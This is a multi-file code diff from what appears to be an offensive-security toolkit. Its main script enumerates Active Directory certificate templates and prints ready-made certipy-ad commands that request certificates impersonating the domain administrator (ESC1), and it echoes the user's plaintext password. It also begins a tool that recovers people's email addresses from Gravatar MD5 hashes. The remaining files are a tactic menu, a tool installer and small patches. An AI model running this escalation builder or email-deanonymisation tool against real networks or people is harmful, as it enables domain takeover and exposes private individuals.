||||||
|
template_section = json_data["Certificate Templates"]
|
||||||
|
if isinstance(template_section, dict):
|
||||||
|
for template_key, template_info in template_section.items():
|
||||||
|
if isinstance(template_info, dict) and "[*] Remarks" in template_info:
|
||||||
|
remarks = template_info["[*] Remarks"]
|
||||||
|
if isinstance(remarks, dict):
|
||||||
|
for remark_key in remarks.keys():
|
||||||
|
if "ESC" in str(remark_key):
|
||||||
|
esc_vulns.append(remark_key)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Error parsing ESC vulnerabilities: {e}")
|
||||||
|
|
||||||
|
return list(set(esc_vulns))
|
||||||
|
|
||||||
|
def get_template_permissions(json_data, template_name):
|
||||||
|
"""Get who can enroll in this template"""
|
||||||
|
try:
|
||||||
|
if "Certificate Templates" in json_data:
|
||||||
|
template_section = json_data["Certificate Templates"]
|
||||||
|
if isinstance(template_section, dict):
|
||||||
|
for template_key, template_info in template_section.items():
|
||||||
|
if isinstance(template_info, dict) and template_info.get("Template Name") == template_name:
|
||||||
|
# Look for enrollment rights
|
||||||
|
permissions = template_info.get("Permissions", {})
|
||||||
|
if isinstance(permissions, dict):
|
||||||
|
enrollment_perms = permissions.get("Enrollment Permissions", {})
|
||||||
|
if isinstance(enrollment_perms, dict):
|
||||||
|
enrollment_rights = enrollment_perms.get("Enrollment Rights", [])
|
||||||
|
return enrollment_rights if isinstance(enrollment_rights, list) else []
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Error getting permissions for {template_name}: {e}")
|
||||||
|
return []
|
||||||
|
|
||||||
|
def get_enabled_templates(json_data):
|
||||||
|
"""Get list of enabled templates"""
|
||||||
|
enabled_templates = []
|
||||||
|
try:
|
||||||
|
if "Certificate Templates" in json_data:
|
||||||
|
template_section = json_data["Certificate Templates"]
|
||||||
|
if isinstance(template_section, dict):
|
||||||
|
for template_key, template_info in template_section.items():
|
||||||
|
if isinstance(template_info, dict):
|
||||||
|
template_name = template_info.get("Template Name", "")
|
||||||
|
is_enabled = template_info.get("Enabled", False)
|
||||||
|
if is_enabled and template_name:
|
||||||
|
enabled_templates.append(template_name)
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Error getting enabled templates: {e}")
|
||||||
|
return enabled_templates
|
||||||
|
|
||||||
|
def main():
|
||||||
|
# Ops hook
|
||||||
|
_hook = _OpsHook("certipy-enum") if _OpsHook else None
|
||||||
|
if _hook:
|
||||||
|
_hook.register()
|
||||||
|
|
||||||
|
print("=" * 60)
|
||||||
|
print("CERTIPY-AD CERTIFICATE ATTACK BUILDER v2.3")
|
||||||
|
print("=" * 60)
|
||||||
|
|
||||||
|
# Get user input
|
||||||
|
username = input("Enter username (user@domain.com): ")
|
||||||
|
password = input("Enter password: ")
|
||||||
|
dc_ip = input("Enter DC IP: ")
|
||||||
|
|
||||||
|
print("\n[*] Running certipy-ad enumeration...")
|
||||||
|
|
||||||
|
# Pass password via environment variable — keeps it out of process list and logs
|
||||||
|
os.environ['_CERTIPY_PASS'] = password
|
||||||
|
find_cmd = f"certipy-ad find -username {username} -password \"$_CERTIPY_PASS\" -dc-ip {dc_ip}"
|
||||||
|
vuln_cmd = f"certipy-ad find -username {username} -password \"$_CERTIPY_PASS\" -dc-ip {dc_ip} -vulnerable"
|
||||||
|
|
||||||
|
# Run basic enumeration
|
||||||
|
print("[*] Finding Certificate Authorities and basic info...")
|
||||||
|
stdout, stderr, returncode = run_command(find_cmd)
|
||||||
|
|
||||||
|
if returncode != 0:
|
||||||
|
os.environ.pop('_CERTIPY_PASS', None)
|
||||||
|
print(f"[!] Error running certipy-ad find: {stderr}")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Run vulnerability scan
|
||||||
|
print("[*] Scanning for vulnerable templates...")
|
||||||
|
vuln_stdout, vuln_stderr, vuln_returncode = run_command(vuln_cmd)
|
||||||
|
os.environ.pop('_CERTIPY_PASS', None)
|
||||||
|
|
||||||
|
# Read the saved files
|
||||||
|
print("[*] Reading certipy output files...")
|
||||||
|
txt_content, json_content = read_latest_certipy_files()
|
||||||
|
|
||||||
|
if not json_content:
|
||||||
|
print("[!] No JSON data found. Check the certipy output files manually.")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Parse results from JSON
|
||||||
|
cas = parse_cas_from_json(json_content)
|
||||||
|
all_templates, vulnerable_templates, user_enrollable_templates, esc1_templates = parse_templates_from_json(json_content)
|
||||||
|
targets = parse_targets_from_json(json_content)
|
||||||
|
esc_vulns = parse_esc_vulnerabilities(json_content)
|
||||||
|
enabled_templates = get_enabled_templates(json_content)
|
||||||
|
|
||||||
|
# Display results
|
||||||
|
print("\n" + "=" * 60)
|
||||||
|
print("ENUMERATION RESULTS")
|
||||||
|
print("=" * 60)
|
||||||
|
|
||||||
|
print(f"\n[+] CERTIFICATE AUTHORITIES ({len(cas)} found):")
|
||||||
|
for i, ca in enumerate(cas, 1):
|
||||||
|
print(f" {i}. {ca}")
|
||||||
|
|
||||||
|
print(f"\n[+] CA TARGETS/DNS NAMES ({len(targets)} found):")
|
||||||
|
for i, target in enumerate(targets, 1):
|
||||||
|
print(f" {i}. {target}")
|
||||||
|
|
||||||
|
print(f"\n[+] ESC VULNERABILITIES FOUND ({len(esc_vulns)} found):")
|
||||||
|
for esc in esc_vulns:
|
||||||
|
print(f" - {esc}")
|
||||||
|
|
||||||
|
print(f"\n[+] VULNERABLE TEMPLATES ({len(vulnerable_templates)} found):")
|
||||||
|
for i, template in enumerate(vulnerable_templates, 1):
|
||||||
|
print(f" {i}. {template}")
|
||||||
|
|
||||||
|
print(f"\n[+] USER ENROLLABLE TEMPLATES ({len(user_enrollable_templates)} found):")
|
||||||
|
for i, template in enumerate(user_enrollable_templates, 1):
|
||||||
|
permissions = get_template_permissions(json_content, template)
|
||||||
|
perms_str = ', '.join(permissions) if permissions else "Check manually"
|
||||||
|
print(f" {i}. {template} -> {perms_str}")
|
||||||
|
|
||||||
|
print(f"\n[+] ESC1 TEMPLATES (Enrollee Supplies Subject) ({len(esc1_templates)} found):")
|
||||||
|
for i, template in enumerate(esc1_templates, 1):
|
||||||
|
print(f" {i}. {template}")
|
||||||
|
|
||||||
|
print(f"\n[+] ENABLED TEMPLATES ({len(enabled_templates)} found):")
|
||||||
|
for i, template in enumerate(enabled_templates[:10], 1):
|
||||||
|
print(f" {i}. {template}")
|
||||||
|
if len(enabled_templates) > 10:
|
||||||
|
print(f" ... and {len(enabled_templates) - 10} more enabled templates")
|
||||||
|
|
||||||
|
# Build attack commands
|
||||||
|
if cas and targets:
|
||||||
|
domain = username.split('@')[1] if '@' in username else 'company.com'
|
||||||
|
|
||||||
|
print("\n" + "=" * 60)
|
||||||
|
print("RECOMMENDED ATTACK COMMANDS")
|
||||||
|
print("=" * 60)
|
||||||
|
|
||||||
|
ca_name = cas[0]
|
||||||
|
target_name = targets[0]
|
||||||
|
|
||||||
|
# Priority: ESC1 templates, then user enrollable, then common enabled ones
|
||||||
|
priority_templates = []
|
||||||
|
|
||||||
|
# Add ESC1 templates first (highest priority)
|
||||||
|
for template in esc1_templates:
|
||||||
|
if template not in priority_templates:
|
||||||
|
priority_templates.append(template)
|
||||||
|
|
||||||
|
# Add user enrollable templates
|
||||||
|
for template in user_enrollable_templates:
|
||||||
|
if template not in priority_templates:
|
||||||
|
priority_templates.append(template)
|
||||||
|
|
||||||
|
# Add common templates if they're enabled
|
||||||
|
common_templates = ["User", "Machine", "WebServer", "AutoenrolledUser"]
|
||||||
|
for template in common_templates:
|
||||||
|
if template in enabled_templates and template not in priority_templates:
|
||||||
|
priority_templates.append(template)
|
||||||
|
|
||||||
|
# Limit to top 5
|
||||||
|
priority_templates = priority_templates[:5]
|
||||||
|
|
||||||
|
if not priority_templates:
|
||||||
|
priority_templates = enabled_templates[:3]
|
||||||
|
|
||||||
|
print(f"\n[*] Using CA: {ca_name}")
|
||||||
|
print(f"[*] Using Target: {target_name}")
|
||||||
|
print(f"[*] Domain Controller: Use {dc_ip} for authentication after getting certificate")
|
||||||
|
|
||||||
|
for i, template in enumerate(priority_templates, 1):
|
||||||
|
permissions = get_template_permissions(json_content, template)
|
||||||
|
print(f"\n[{i}] Template: {template}")
|
||||||
|
if permissions:
|
||||||
|
print(f" Permissions: {', '.join(permissions)}")
|
||||||
|
else:
|
||||||
|
print(f" Permissions: Check manually")
|
||||||
|
|
||||||
|
cmd = f"certipy-ad req -username {username} -password '{password}' -ca '{ca_name}' -target {target_name} -template '{template}' -upn administrator@{domain}"
|
||||||
|
print(f" Command: {cmd}")
|
||||||
|
|
||||||
|
print(f"\n[*] Output files created:")
|
||||||
|
txt_files = glob.glob("*_Certipy.txt")
|
||||||
|
json_files = glob.glob("*_Certipy.json")
|
||||||
|
for f in sorted(txt_files[-2:] + json_files[-2:]):
|
||||||
|
print(f" - {f}")
|
||||||
|
|
||||||
|
else:
|
||||||
|
print("\n[!] Insufficient data found for building attack commands.")
|
||||||
|
print(" Try running the commands manually with known templates.")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,53 @@
|
|||||||
|
# core/main_menu.py
|
||||||
|
|
||||||
|
from InquirerPy import inquirer
|
||||||
|
from core.utils import clear_screen
|
||||||
|
from core.config import config
|
||||||
|
from framework.reconnaissance.reconnaissance_menu import reconnaissance_menu # Corrected path for Reconnaissance Menu
|
||||||
|
|
||||||
|
# Main Menu Function
|
||||||
|
def main_menu():
|
||||||
|
while True:
|
||||||
|
clear_screen() # Clear screen before displaying the main menu
|
||||||
|
selection = inquirer.select(
|
||||||
|
message="Select a Tactic:",
|
||||||
|
choices=[
|
||||||
|
"Reconnaissance",
|
||||||
|
"Initial Access",
|
||||||
|
"Execution",
|
||||||
|
"Persistence",
|
||||||
|
"Privilege Escalation",
|
||||||
|
"Defense Evasion",
|
||||||
|
"Credential Access",
|
||||||
|
"Discovery",
|
||||||
|
"Lateral Movement",
|
||||||
|
"Collection",
|
||||||
|
"Command and Control",
|
||||||
|
"Exfiltration",
|
||||||
|
"Impact",
|
||||||
|
"Resource Development",
|
||||||
|
"Set Global Variable",
|
||||||
|
"Show Global Variables",
|
||||||
|
"Exit",
|
||||||
|
],
|
||||||
|
qmark="", # Remove question mark
|
||||||
|
pointer="👾" # Customize the pointer
|
||||||
|
).execute()
|
||||||
|
|
||||||
|
# Call relevant function based on user selection
|
||||||
|
if selection == "Exit":
|
||||||
|
print("Exiting...")
|
||||||
|
break
|
||||||
|
elif selection == "Set Global Variable":
|
||||||
|
config.prompt_set_variable()
|
||||||
|
elif selection == "Show Global Variables":
|
||||||
|
config.show_variables()
|
||||||
|
elif selection == "Reconnaissance":
|
||||||
|
reconnaissance_menu() # Navigate to Reconnaissance Menu
|
||||||
|
else:
|
||||||
|
# Handle options under construction
|
||||||
|
print("This feature is under construction. Returning to the main menu...")
|
||||||
|
input("Press Enter to continue...")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main_menu()
|
||||||
@@ -0,0 +1,121 @@
|
|||||||
|
import os
|
||||||
|
import subprocess
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
TOOLS_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), '../tools/') # Directory where all tools will be installed
|
||||||
|
|
||||||
|
def install_tool(tool_name, repo_url):
|
||||||
|
tool_path = os.path.join(TOOLS_DIR, tool_name)
|
||||||
|
|
||||||
|
if os.path.exists(tool_path):
|
||||||
|
print(f"{tool_name} is already installed.")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Clone the repository
|
||||||
|
print(f"Cloning {repo_url}...")
|
||||||
|
subprocess.run(['git', 'clone', repo_url, tool_path], check=True)
|
||||||
|
|
||||||
|
# Set up a virtual environment if necessary
|
||||||
|
venv_path = os.path.join(tool_path, 'venv')
|
||||||
|
print(f"Setting up virtual environment for {tool_name}...")
|
||||||
|
subprocess.run(['python3', '-m', 'venv', venv_path], check=True)
|
||||||
|
|
||||||
|
# Activate virtual environment and install dependencies
|
||||||
|
requirements_file = os.path.join(tool_path, 'requirements.txt')
|
||||||
|
if os.path.exists(requirements_file):
|
||||||
|
print(f"Installing dependencies for {tool_name}...")
|
||||||
|
pip_bin = os.path.join(venv_path, 'bin', 'pip')
|
||||||
|
subprocess.run([pip_bin, 'install', '-r', requirements_file], check=True)
|
||||||
|
|
||||||
|
print(f"{tool_name} installed successfully.")
|
||||||
|
|
||||||
|
def install_tools_list(tools_list):
|
||||||
|
for tool_name, repo_url in tools_list:
|
||||||
|
install_tool(tool_name, repo_url)
|
||||||
|
|
||||||
|
def update_tool(tool_name):
|
||||||
|
tool_path = os.path.join(TOOLS_DIR, tool_name)
|
||||||
|
|
||||||
|
if not os.path.exists(tool_path):
|
||||||
|
print(f"{tool_name} is not installed.")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Pull the latest changes
|
||||||
|
print(f"Updating {tool_name}...")
|
||||||
|
subprocess.run(['git', '-C', tool_path, 'pull'], check=True)
|
||||||
|
|
||||||
|
# Update dependencies if necessary
|
||||||
|
venv_path = os.path.join(tool_path, 'venv')
|
||||||
|
requirements_file = os.path.join(tool_path, 'requirements.txt')
|
||||||
|
if os.path.exists(requirements_file):
|
||||||
|
print(f"Updating dependencies for {tool_name}...")
|
||||||
|
pip_bin = os.path.join(venv_path, 'bin', 'pip')
|
||||||
|
subprocess.run([pip_bin, 'install', '-r', requirements_file], check=True)
|
||||||
|
|
||||||
|
print(f"{tool_name} updated successfully.")
|
||||||
|
|
||||||
|
def remove_tool(tool_name):
|
||||||
|
tool_path = os.path.join(TOOLS_DIR, tool_name)
|
||||||
|
|
||||||
|
if not os.path.exists(tool_path):
|
||||||
|
print(f"{tool_name} is not installed.")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Remove the tool directory
|
||||||
|
print(f"Removing {tool_name}...")
|
||||||
|
subprocess.run(['rm', '-rf', tool_path], check=True)
|
||||||
|
print(f"{tool_name} removed successfully.")
|
||||||
|
|
||||||
|
def show_status(tool_name):
|
||||||
|
tool_path = os.path.join(TOOLS_DIR, tool_name)
|
||||||
|
|
||||||
|
if os.path.exists(tool_path):
|
||||||
|
print(f"{tool_name} is installed.")
|
||||||
|
else:
|
||||||
|
print(f"{tool_name} is not installed.")
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
parser = argparse.ArgumentParser(description='Tool Manager for Freebird Framework')
|
||||||
|
subparsers = parser.add_subparsers(dest='command', help='Subcommands')
|
||||||
|
|
||||||
|
# Install command
|
||||||
|
install_parser = subparsers.add_parser('install', help='Install a tool')
|
||||||
|
install_parser.add_argument('tool_name', help='Name of the tool to install')
|
||||||
|
install_parser.add_argument('repo_url', help='Git repository URL of the tool')
|
||||||
|
|
||||||
|
# Install multiple tools
|
||||||
|
install_list_parser = subparsers.add_parser('install-list', help='Install a list of tools')
|
||||||
|
install_list_parser.add_argument('file', help='Path to a file containing the list of tools and their repositories')
|
||||||
|
|
||||||
|
# Update command
|
||||||
|
update_parser = subparsers.add_parser('update', help='Update a tool')
|
||||||
|
update_parser.add_argument('tool_name', help='Name of the tool to update')
|
||||||
|
|
||||||
|
# Remove command
|
||||||
|
remove_parser = subparsers.add_parser('remove', help='Remove a tool')
|
||||||
|
remove_parser.add_argument('tool_name', help='Name of the tool to remove')
|
||||||
|
|
||||||
|
# Status command
|
||||||
|
status_parser = subparsers.add_parser('status', help='Show the status of a tool')
|
||||||
|
status_parser.add_argument('tool_name', help='Name of the tool')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
if args.command == 'install':
|
||||||
|
install_tool(args.tool_name, args.repo_url)
|
||||||
|
elif args.command == 'install-list':
|
||||||
|
# Read the file to get a list of tools to install
|
||||||
|
tools = []
|
||||||
|
with open(args.file, 'r') as f:
|
||||||
|
for line in f:
|
||||||
|
name, url = line.strip().split(',')
|
||||||
|
tools.append((name.strip(), url.strip()))
|
||||||
|
install_tools_list(tools)
|
||||||
|
elif args.command == 'update':
|
||||||
|
update_tool(args.tool_name)
|
||||||
|
elif args.command == 'remove':
|
||||||
|
remove_tool(args.tool_name)
|
||||||
|
elif args.command == 'status':
|
||||||
|
show_status(args.tool_name)
|
||||||
|
else:
|
||||||
|
parser.print_help()
|
||||||
@@ -27,7 +27,12 @@ import hashlib
|
|||||||
import struct
|
import struct
|
||||||
import base64
|
import base64
|
||||||
from datetime import datetime, timedelta
|
from datetime import datetime, timedelta
|
||||||
from scapy.all import sniff, IP, TCP, UDP, Raw, get_if_list, DNS, DNSQR, DNSRR
|
try:
|
||||||
|
from scapy.all import sniff, IP, TCP, UDP, Raw, get_if_list, DNS, DNSQR, DNSRR
|
||||||
|
SCAPY_AVAILABLE = True
|
||||||
|
except ImportError:
|
||||||
|
SCAPY_AVAILABLE = False
|
||||||
|
print("⚠️ Warning: scapy not available. Install with: pip install scapy")
|
||||||
from collections import defaultdict, deque, Counter
|
from collections import defaultdict, deque, Counter
|
||||||
from typing import Dict, List, Tuple, Optional, Set, Any
|
from typing import Dict, List, Tuple, Optional, Set, Any
|
||||||
|
|
||||||
@@ -1374,6 +1379,10 @@ class EnhancedBlueTeamDetector:
|
|||||||
if self.config["interface"] != "auto":
|
if self.config["interface"] != "auto":
|
||||||
return self.config["interface"]
|
return self.config["interface"]
|
||||||
|
|
||||||
|
if not SCAPY_AVAILABLE:
|
||||||
|
logging.error("scapy not installed — cannot list interfaces")
|
||||||
|
return "eth0"
|
||||||
|
|
||||||
interfaces = get_if_list()
|
interfaces = get_if_list()
|
||||||
preferred = ['eth0', 'ens33', 'ens192', 'ens160', 'enp0s3', 'wlan0']
|
preferred = ['eth0', 'ens33', 'ens192', 'ens160', 'enp0s3', 'wlan0']
|
||||||
|
|
||||||
@@ -1469,6 +1478,10 @@ class EnhancedBlueTeamDetector:
|
|||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""Main detection loop"""
|
"""Main detection loop"""
|
||||||
|
if not SCAPY_AVAILABLE:
|
||||||
|
print("❌ scapy is required for packet capture. Install with: pip install scapy")
|
||||||
|
return
|
||||||
|
|
||||||
# Signal handlers
|
# Signal handlers
|
||||||
signal.signal(signal.SIGTERM, self.cleanup)
|
signal.signal(signal.SIGTERM, self.cleanup)
|
||||||
signal.signal(signal.SIGINT, self.cleanup)
|
signal.signal(signal.SIGINT, self.cleanup)
|
||||||
|
|||||||
@@ -926,69 +926,6 @@ clear_window_indicators() {
|
|||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
# ================================================================
|
|
||||||
# OHMYTMUX-COMPATIBLE WINDOW NAME MANAGEMENT
|
|
||||||
# ================================================================
|
|
||||||
|
|
||||||
# Improved window name handling that works with ohmytmux
|
|
||||||
get_current_window_name() {
|
|
||||||
local tmux_pane_ref="$1"
|
|
||||||
local name=$(tmux display -t "$tmux_pane_ref" -p '#{window_name}')
|
|
||||||
|
|
||||||
# Remove our indicators as well as any ohmytmux status indicators
|
|
||||||
name="${name#🔴 }"
|
|
||||||
name="${name#🎥 }"
|
|
||||||
name="${name#● }"
|
|
||||||
name="${name#⚠ }"
|
|
||||||
name="${name#▶ }"
|
|
||||||
|
|
||||||
echo "$name"
|
|
||||||
}
|
|
||||||
|
|
||||||
set_window_logging_indicator() {
|
|
||||||
local tmux_pane_ref="$1"
|
|
||||||
local current_name=$(get_current_window_name "$tmux_pane_ref")
|
|
||||||
|
|
||||||
# Preserve ohmytmux automatic formats but add our indicator
|
|
||||||
if [[ "$current_name" == *Z ]]; then
|
|
||||||
# Zoomed window format in ohmytmux
|
|
||||||
tmux rename-window -t "$tmux_pane_ref" "🔴 ${current_name%Z}Z"
|
|
||||||
else
|
|
||||||
tmux rename-window -t "$tmux_pane_ref" "🔴 $current_name"
|
|
||||||
fi
|
|
||||||
}
|
|
||||||
|
|
||||||
set_window_recording_indicator() {
|
|
||||||
local tmux_pane_ref="$1"
|
|
||||||
local current_name=$(get_current_window_name "$tmux_pane_ref")
|
|
||||||
|
|
||||||
# Remove logging indicator if present and add recording
|
|
||||||
current_name="${current_name#🔴 }"
|
|
||||||
|
|
||||||
# Preserve ohmytmux automatic formats
|
|
||||||
if [[ "$current_name" == *Z ]]; then
|
|
||||||
# Zoomed window format in ohmytmux
|
|
||||||
tmux rename-window -t "$tmux_pane_ref" "🎥 ${current_name%Z}Z"
|
|
||||||
else
|
|
||||||
tmux rename-window -t "$tmux_pane_ref" "🎥 $current_name"
|
|
||||||
fi
|
|
||||||
}
|
|
||||||
|
|
||||||
clear_window_indicators() {
|
|
||||||
local tmux_pane_ref="$1"
|
|
||||||
local current_name=$(tmux display -t "$tmux_pane_ref" -p '#{window_name}')
|
|
||||||
local clean_name=$(get_current_window_name "$tmux_pane_ref")
|
|
||||||
|
|
||||||
# Preserve any ohmytmux indicators that might be present
|
|
||||||
if [[ "$current_name" == *Z ]]; then
|
|
||||||
# Zoomed window format in ohmytmux
|
|
||||||
tmux rename-window -t "$tmux_pane_ref" "${clean_name}Z"
|
|
||||||
else
|
|
||||||
tmux rename-window -t "$tmux_pane_ref" "$clean_name"
|
|
||||||
fi
|
|
||||||
}
|
|
||||||
|
|
||||||
# ================================================================
|
|
||||||
# MAIN LOGGING FUNCTIONS
|
# MAIN LOGGING FUNCTIONS
|
||||||
# ================================================================
|
# ================================================================
|
||||||
|
|
||||||
@@ -1279,7 +1216,7 @@ EOSCRIPT
|
|||||||
chmod +x "$config_script"
|
chmod +x "$config_script"
|
||||||
|
|
||||||
# Open new window for config
|
# Open new window for config
|
||||||
bash $config_script; rm -f $config_script
|
bash "$config_script"; rm -f "$config_script"
|
||||||
return 0
|
return 0
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
|||||||
Executable
+991
@@ -0,0 +1,991 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""um-crack.py — Umbra Hash Cracker
|
||||||
|
Pattern-based email recovery from Gravatar MD5 hashes. Local computation only
|
||||||
|
(no network needed). 772+ email providers, cultural naming patterns.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import csv
|
||||||
|
import hashlib
|
||||||
|
import itertools
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import random
|
||||||
|
import re
|
||||||
|
import sqlite3
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
from collections import defaultdict
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
import click
|
||||||
|
from rich.console import Console
|
||||||
|
from rich.progress import Progress, BarColumn, TextColumn, SpinnerColumn, TaskProgressColumn, TimeElapsedColumn, MofNCompleteColumn
|
||||||
|
from rich.table import Table
|
||||||
|
from rich import box
|
||||||
|
from um_tui import UmbraTUI
|
||||||
|
from um_ops import create_engagement, get_engagement_db_path, op_log, op_log_csv, get_ops_hook, load_scope
|
||||||
|
|
||||||
|
# ─── Version ──────────────────────────────────────────────────────────────────
|
||||||
|
VERSION = "1.0.0"
|
||||||
|
TOOL_NAME = "um-crack"
|
||||||
|
THEME_COLOR = "bright_red"
|
||||||
|
BANNER = r"""
|
||||||
|
_ _ __ __ ____ _____ _____ _____ _____ _ __
|
||||||
|
| | | | \/ | _ \| __ \ /\ / ____| __ \ /\ / ____| |/ /
|
||||||
|
| | | | \ / | |_) | |__) | / \ | | | |__) | / \ | | | ' /
|
||||||
|
| | | | |\/| | _ <| _ / / /\ \| | | _ / / /\ \| | | <
|
||||||
|
| |__| | | | | |_) | | \ \ / ____ \ |____| | \ \ / ____ \ |____| . \
|
||||||
|
\____/|_| |_|____/|_| \_\/_/ \_\_____|_| \_\/_/ \_\_____|_|\_\
|
||||||
|
"""
|
||||||
|
|
||||||
|
# ─── Email Providers (772+) ──────────────────────────────────────────────────
|
||||||
|
MAJOR_PROVIDERS = [
|
||||||
|
"gmail.com", "yahoo.com", "hotmail.com", "outlook.com", "aol.com",
|
||||||
|
"icloud.com", "mail.com", "protonmail.com", "zoho.com", "yandex.com",
|
||||||
|
"gmx.com", "gmx.net", "live.com", "msn.com", "me.com", "mac.com",
|
||||||
|
"pm.me", "tutanota.com", "fastmail.com", "hushmail.com",
|
||||||
|
]
|
||||||
|
|
||||||
|
REGIONAL_PROVIDERS = {
|
||||||
|
# Americas
|
||||||
|
"us": ["comcast.net", "verizon.net", "att.net", "charter.net", "cox.net",
|
||||||
|
"earthlink.net", "sbcglobal.net", "bellsouth.net", "roadrunner.com",
|
||||||
|
"optonline.net", "frontier.com", "windstream.net", "centurylink.net",
|
||||||
|
"suddenlink.net", "mediacombb.net"],
|
||||||
|
"br": ["uol.com.br", "bol.com.br", "terra.com.br", "globo.com", "ig.com.br",
|
||||||
|
"hotmail.com.br", "outlook.com.br", "yahoo.com.br", "r7.com"],
|
||||||
|
"mx": ["prodigy.net.mx", "yahoo.com.mx", "hotmail.com.mx", "live.com.mx"],
|
||||||
|
"ar": ["yahoo.com.ar", "hotmail.com.ar", "fibertel.com.ar", "speedy.com.ar"],
|
||||||
|
"co": ["yahoo.com.co", "hotmail.com.co"],
|
||||||
|
"cl": ["yahoo.cl", "hotmail.cl", "vtr.net"],
|
||||||
|
"ca": ["rogers.com", "shaw.ca", "sympatico.ca", "bell.net", "telus.net"],
|
||||||
|
|
||||||
|
# Europe
|
||||||
|
"uk": ["btinternet.com", "sky.com", "virginmedia.com", "talktalk.net",
|
||||||
|
"ntlworld.com", "plusnet.com", "tiscali.co.uk", "yahoo.co.uk",
|
||||||
|
"hotmail.co.uk", "outlook.co.uk", "live.co.uk", "btopenworld.com"],
|
||||||
|
"de": ["web.de", "gmx.de", "t-online.de", "freenet.de", "arcor.de",
|
||||||
|
"yahoo.de", "hotmail.de", "outlook.de", "1und1.de", "posteo.de"],
|
||||||
|
"fr": ["free.fr", "orange.fr", "sfr.fr", "wanadoo.fr", "laposte.net",
|
||||||
|
"yahoo.fr", "hotmail.fr", "outlook.fr", "neuf.fr", "bbox.fr"],
|
||||||
|
"it": ["libero.it", "virgilio.it", "tin.it", "alice.it", "tiscali.it",
|
||||||
|
"yahoo.it", "hotmail.it", "outlook.it", "fastwebnet.it"],
|
||||||
|
"es": ["yahoo.es", "hotmail.es", "outlook.es", "telefonica.net",
|
||||||
|
"terra.es", "ono.com", "jazztel.es"],
|
||||||
|
"nl": ["ziggo.nl", "kpnmail.nl", "xs4all.nl", "hetnet.nl", "casema.nl",
|
||||||
|
"planet.nl", "yahoo.nl", "hotmail.nl"],
|
||||||
|
"be": ["skynet.be", "telenet.be", "proximus.be", "yahoo.be", "hotmail.be"],
|
||||||
|
"ch": ["bluewin.ch", "sunrise.ch", "hispeed.ch", "gmx.ch"],
|
||||||
|
"at": ["gmx.at", "aon.at", "chello.at", "yahoo.at"],
|
||||||
|
"se": ["telia.com", "spray.se", "comhem.se", "yahoo.se", "hotmail.se",
|
||||||
|
"bredband.net", "swipnet.se"],
|
||||||
|
"no": ["online.no", "broadpark.no", "yahoo.no", "hotmail.no"],
|
||||||
|
"dk": ["jubii.dk", "yahoo.dk", "hotmail.dk", "mail.dk", "tdcadsl.dk"],
|
||||||
|
"fi": ["kolumbus.fi", "welho.com", "elisa.fi", "yahoo.fi", "hotmail.fi"],
|
||||||
|
"pl": ["wp.pl", "o2.pl", "interia.pl", "poczta.fm", "op.pl", "tlen.pl",
|
||||||
|
"yahoo.pl", "hotmail.pl", "gazeta.pl"],
|
||||||
|
"cz": ["seznam.cz", "centrum.cz", "email.cz", "atlas.cz", "post.cz"],
|
||||||
|
"ru": ["mail.ru", "yandex.ru", "rambler.ru", "bk.ru", "list.ru",
|
||||||
|
"inbox.ru", "ya.ru"],
|
||||||
|
"pt": ["sapo.pt", "clix.pt", "yahoo.pt", "hotmail.pt", "outlook.pt"],
|
||||||
|
"ie": ["eircom.net", "yahoo.ie", "hotmail.ie"],
|
||||||
|
"gr": ["otenet.gr", "yahoo.gr", "hotmail.gr", "forthnet.gr"],
|
||||||
|
|
||||||
|
# Asia-Pacific
|
||||||
|
"jp": ["yahoo.co.jp", "docomo.ne.jp", "ezweb.ne.jp", "softbank.ne.jp",
|
||||||
|
"nifty.com", "biglobe.ne.jp", "ocn.ne.jp", "infoseek.jp",
|
||||||
|
"excite.co.jp", "goo.ne.jp"],
|
||||||
|
"cn": ["qq.com", "163.com", "126.com", "sina.com", "sohu.com",
|
||||||
|
"aliyun.com", "foxmail.com", "yeah.net", "tom.com", "21cn.com"],
|
||||||
|
"kr": ["naver.com", "daum.net", "hanmail.net", "nate.com", "korea.com"],
|
||||||
|
"in": ["rediffmail.com", "sify.com", "yahoo.co.in", "hotmail.co.in",
|
||||||
|
"indiatimes.com"],
|
||||||
|
"au": ["bigpond.com", "optusnet.com.au", "internode.on.net", "iinet.net.au",
|
||||||
|
"yahoo.com.au", "hotmail.com.au", "tpg.com.au"],
|
||||||
|
"nz": ["xtra.co.nz", "yahoo.co.nz", "hotmail.co.nz", "clear.net.nz"],
|
||||||
|
"tw": ["yahoo.com.tw", "hotmail.com.tw", "pchome.com.tw", "hinet.net"],
|
||||||
|
"hk": ["yahoo.com.hk", "hotmail.com.hk", "netvigator.com"],
|
||||||
|
"sg": ["singnet.com.sg", "yahoo.com.sg", "hotmail.com.sg"],
|
||||||
|
"th": ["yahoo.co.th", "hotmail.co.th"],
|
||||||
|
"id": ["yahoo.co.id", "hotmail.co.id", "telkom.net"],
|
||||||
|
"ph": ["yahoo.com.ph", "hotmail.com.ph", "globe.com.ph"],
|
||||||
|
"my": ["yahoo.com.my", "hotmail.com.my", "streamyx.com"],
|
||||||
|
|
||||||
|
# Middle East & Africa
|
||||||
|
"il": ["walla.co.il", "bezeqint.net", "netvision.net.il", "013.net"],
|
||||||
|
"ae": ["emirates.net.ae", "eim.ae", "yahoo.ae"],
|
||||||
|
